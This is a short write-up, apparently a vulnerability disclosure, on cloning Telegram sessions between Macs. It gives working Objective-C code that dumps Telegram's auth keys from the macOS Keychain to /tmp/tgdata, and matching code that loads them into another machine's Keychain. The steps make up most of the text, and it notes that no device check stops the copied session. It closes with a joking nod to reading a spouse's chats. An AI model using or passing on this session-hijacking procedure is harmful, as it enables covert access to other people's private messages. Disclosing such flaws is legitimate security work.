Malicious ‘shadow’ sessions in Telegram

Actions on Macbook A(lice):

1. Extract Telegram data from the Keychain:
   a) run ./tg_telegram_get
   It writes Telegram keychain data to file /tmp/tgdata
   
   OR
   
   b) compile ObjectiveC code and run it.

#import <Foundation/Foundation.h>
#import “SSKeychain.h”
int main(int argc, const char * argv[]) {
 
 // get
 NSData *d = [SSKeychain passwordDataForService:@”Telegram” account:@”authkeys”];
 [d writeToFile:@”/tmp/tgdata” atomically:true];
 
 return 0;
}

You will be prompted to allow the access to the Keychain, but you are NOT prompted for any password to do it. lol

2) Copy /tmp/tgdata to another device (USB?)

Actions on Macbook B(ob)

0) Copy tgdata from USB to /tmp/tgdata
1) We need to set Telegram data to the keychain:
a) Just run binary file ./tg_telegram_set
b) or compile it:

#import <Foundation/Foundation.h>
#import “SSKeychain.h”
int main(int argc, const char * argv[]) {
 
 // set
 NSData *fileData = [[NSFileManager defaultManager] contentsAtPath:@”/tmp/tgdata”];
 [SSKeychain setPasswordData:fileData forService:@”Telegram” account:@”authkeys”];
 
 return 0;
}

2) Start Telegram.app
3) HOLY SHI~ Where is a device detection? Is this the most secured messenger ever made?

Is this a bug? A feature? There SHOULD be the device check on every run.
Up to you.

P.S. Please, do not use it to read your wife’s chats. Just trust her :)